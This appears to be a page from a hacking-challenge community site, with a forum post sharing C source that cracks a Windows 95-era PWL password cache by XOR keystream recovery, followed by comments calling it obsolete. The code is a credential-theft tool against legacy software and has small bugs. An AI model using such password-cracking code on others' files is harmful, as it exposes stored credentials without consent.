Friday, September 10, 2010 08:59:27Login · Register
 

    Challenge Activity
07:42:10 - l0gan_l135
     - Completed real [3]
05:55:17 - aspen_23
     - Completed recon [1]
02:27:21 - GemaRastem
     - Completed basic [2]
02:26:21 - GemaRastem
     - Completed basic [1]
02:21:00 - GemaRastem
     - Completed recon [3]
01:55:39 - GemaRastem
     - Completed recon [2]
01:43:45 - GemaRastem
     - Completed recon [1]
01:31:59 - veerendragautam2009
     - Completed decrypt [3]
01:26:45 - veerendragautam2009
     - Completed decrypt [2]
01:25:16 - veerendragautam2009
     - Completed decrypt [1]
12:31:00 - veerendragautam2009
     - Completed basic [1]
12:26:04 - veerendragautam2009
     - Completed recon [6]
11:13:29 - veerendragautam2009
     - Completed recon [3]
10:59:23 - veerendragautam2009
     - Completed recon [1]
09:30:05 - sirEgghead
     - Completed real [4]
06:43:31 - tyllerdurdent
     - Completed recon [3]
 

    Scoreboard Top 20
UserPoints
Abhineet4795   
auditorsec4795   
ne0114795   
Null Set4795   
blandyuk4780   
bluechill4750   
Teddy4730   
TurboBorland4475   
Qwexotic4460   
tiiger11114205   
preet4180   
LiquidFusi0n4175   
OnlyHuman4125   
samthg4110   
satishek3900   
pilchdragon3660   
Override3655   
chronic123640   
sirEgghead3625   
dash803590   
 

    Login
Username

Password



Not a member yet?
Click here to register.

Forgotten your password?
Request a new one here.
 

    Users Online
· Guests Online: 5

· Members Online: 2
hydy07, l0gan_l135

· Members on IRC: 9
Xires, TurboBorland, ryan1918, Polynomial, louve, LK, IFailStuff, epoch_qwert, connection

· Bots Online: 1
GoogleBot

· Total Members: 1,491
· Newest Member: elostaz3omda
 

 

 

 

    Top 10 Forum Posters
UserPosts
bluechill918   
Qwexotic699   
cruizrisner487   
Null Set363   
TurboBorland335   
madf0x311   
Stormc1nd3r308   
auditorsec302   
Override238   
jakecrepinsek235   
 

    Affiliates
 

get computer password
this will give u the computers password when run

Code
Code :
# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
   FILE *fd;
   int i,j;
   int size;
   char ch;
   char *name;
   int cracked;
   int sizemask;
   int maxr;
   int rsz;
   int pos;
   int Rall[300];     /* Resourse allocation table */

   if(argc<2){
         printf("usage: glide  (username)");
         exit(1);
   }
   /* Read PWL file */

   fd=fopen(argv[1],"rb");
   if(fd==NULL){
              printf("can't open file %s",argv[1]);
              exit(1);
   }
   size=0;
   while(!feof(fd)){
         Data[size++]=fgetc(fd);
   }
   size--;
   fclose(fd);

   /* Find Username */
   name=argv[1];
   if(argc>2)name=argv[2];
   printf("Username:%s
",name);

   /* Copy encrypted text into keystream */
   cracked=size-0x0208;
   if(cracked<0)cracked=0;
   if(cracked>1000)cracked=1000;
   memcpy(keystream,Data+0x208,cracked);

   /* Generate 20 bytes of keystream */
   for(i=0;i<20;i++){
         ch=toupper(name[i]);
         if(ch==0)break;
         if(ch=='.')break;
         keystream[i]^=ch;
   };
   cracked=20;

   /* Find allocated resources */

   sizemask=keystream[0]+(keystream[1]<<8);
   printf("Sizemask:%04X
",sizemask);

   for(i=0;i<256;i++){
         if(Data[i]!=0xff){
                        Rall[Data[i]]++;
                        if(Data[i]>maxr)maxr=Data[i];
         }
   }

   maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
   divisible by 16 */

   /*Search after resources */

   Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
   for(i=0;i<maxr;i++){
            /* Find the size of current resourse */
            pos=Rpoint[i];
            rsz=Data[pos]+(Data[pos+1]<<8);
            rsz^=sizemask;
            printf("Analysing block with size:%04x   (%d:%d)
",rsz,i,Rall[i]);
            if((Rall[i]==0)&&(rsz!=0)){
                        printf("Unused resourse has nonzero size!!!
");
                        printf("If last line produed any:You may try to recover
");
                        printf("Press y to attempt the recovery
");
                        ch=getch();
                        if(ch!='y')exit(0);
                        rsz=2;
                        i=i-1;
            }
            pos=pos+rsz;

            /* Resourse have a tedency to have the wrong size for some reason*/
            /* Chech for correct size*/

            if(i<maxr-1){
                        while(Data[pos+3]!=keystream[1]){
                                          printf(":",Data[pos+3]);
                                          pos=pos+2; /* Very rude may fail */
                        }
            }
            pos+=2; /* Include pointer in size */
            Rpoint[i+1]=pos;
   }
   Rpoint[maxr]=size;
   /* Insert Table data into keystream*/
   for(i=0;i<=maxr;i++){
               keystream[20+2*i]^=Rpoint[i] & 0x00ff;
               keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
   }
   cracked+=maxr*2+2;
   printf("%d Bytes of ketstream recoverd
",cracked);

   /* Decrypt resources */
   for(i=0;i<maxr;i++){
                     rsz=Rpoint[i+1]-Rpoint[i];
                     if(rsz>cracked)rsz=cracked;
                     printf("Resource[%d](%d)
",i,rsz);
                     for(j=0;j<rsz;j++)
                     printf("%c",Data[Rpoint[i]+j]^keystream[j]);
                     printf("
");
   }
   exit(0);
}



Comments
 
#1 | TurboBorland on 06/21/2010 11:30
This is for Windows 95 or less.
<=Windows 95
#2 | cruizrisner on 06/21/2010 16:28
yea its old code but its for learning purposes, if you want one for xp,vista,7, mac, or linux then go make one lol
#3 | TurboBorland on 06/21/2010 16:37
Was letting other people know, like you should've, before people started replying that this doesn't work. I don't even think it's good for learning purposes. You can tell it's ancient by the style of code and the outdated techniques.
#4 | cruizrisner on 06/21/2010 21:29
older versions of windows are easier to hack... it makes sense to start with the easy stuff and move your way up learning how microsoft improves themselves...
#5 | madf0x on 06/22/2010 22:19
yeah but people start learning off of XP nowadays, 95 you could bypass the login screen with the cancel button...practicing on that doesnt teach you anything these days.
 
 
Post Comment
 
Please Login to Post a Comment.
 
 
Ratings
 
Rating is available to Members only.

Please login or register to vote.

No Ratings have been Posted.